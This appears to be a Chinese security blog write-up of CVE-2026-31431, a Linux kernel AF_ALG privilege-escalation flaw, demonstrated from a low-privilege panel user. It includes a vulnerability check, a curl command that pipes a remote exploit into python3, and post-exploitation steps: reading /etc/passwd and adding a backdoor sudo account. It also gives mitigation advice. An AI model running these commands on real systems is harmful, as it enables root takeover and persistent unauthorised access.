← 返回文章列表

CVE-2026-31431 Linux内核AF_ALG子系统提权漏洞分析

漏洞背景

CVE-2026-31431是存在于Linux内核AF_ALG子系统中的一个逻辑缺陷漏洞,具体位于algif_aead.c模块。该漏洞自2017年(Linux内核4.14)引入相关性能优化起便存在,影响几乎所有主流Linux发行版,包括Ubuntu 24.04 LTS、RHEL 8/9/10、Amazon Linux 2023、SUSE 16等。

本文通过MCSM面板的低权限节点用户(mcsm_daemon)作为入口,演示如何利用此漏洞实现本地提权。

攻击链分析

漏洞原理

  1. 攻击者使用splice()系统调用将受保护文件(如/usr/bin/su)的内容送入AF_ALG套接字
  2. 内核在处理AEAD解密时为优化性能,将源与目标Scatterlist设为相同,并直接链接了原始文件的页缓存(Page Cache)
  3. authencesn算法在向缓冲区末尾写入4字节序列号时,因上述逻辑错误,导致这4字节直接写入原本为只读的文件缓存页
  4. 攻击者借此篡改内存中的可执行文件缓存,注入恶意代码,最终在执行该文件时提权至root

漏洞检测

首先通过Python脚本检测目标系统是否存在漏洞:

python3 -c 'import socket; s=socket.socket(38,5,0); (s.bind(("aead", "authencesn(hmac(sha256),cbc(aes))")) or print("未缓解")) if s else None' 2>/dev/null || echo "已缓解"
  • socket(38,5,0):创建AF_ALG套接字(38=AF_ALG, 5=SOCK_SEQPACKET)
  • 绑定aead类型和authencesn(hmac(sha256),cbc(aes))算法
  • 输出”未缓解”表示系统存在漏洞,“已缓解”表示已修复

漏洞利用

通过远程下载并执行利用脚本:

curl https://[REDACTED]/exp | python3 && su

脚本利用上述原理篡改/usr/bin/su的内存缓存,执行后直接获得root权限,命令提示符从$变为#

后渗透操作

信息收集

获得root权限后,查看系统用户信息:

cat /etc/passwd

通过分析passwd文件识别系统账户结构,包括系统账户、服务账户和普通用户账户。

权限维持

创建新的管理员账户实现持久化访问:

sudo useradd -m -s /bin/bash kurikana
sudo passwd kurikana

将新用户添加到sudo组:

sudo usermod -aG sudo kurikana
groups kurikana

验证用户权限:kurikana : kurikana sudo

远程访问

检查SSH服务状态:

sudo ss -tulnp | grep sshd

确认SSH服务在22端口监听,为后续远程访问提供通道。

影响范围

发行版受影响版本
Ubuntu24.04 LTS及更早版本
RHEL8/9/10
Amazon Linux2023
SUSE16
内核版本4.14及以上

修复建议

  1. 内核更新:升级到已修复的内核版本
  2. 禁用AF_ALG:如不需要,可通过modprobe -r algif_aead禁用相关模块
  3. 权限最小化:限制低权限用户的系统调用能力
  4. 监控告警:监控异常的splice()系统调用和用户权限变更
  5. 纵深防御:实施AppArmor/SELinux等强制访问控制

总结

CVE-2026-31431展示了内核子系统中性能优化与安全性之间的冲突。漏洞存在于长达7年之久,影响范围广泛。攻击者仅需低权限用户访问即可实现root提权,危害严重。系统管理员应及时应用内核补丁,并实施多层防御策略。


注:本文中的敏感信息(如IP地址、密码、具体服务器名称等)已进行脱敏处理,仅用于安全研究目的。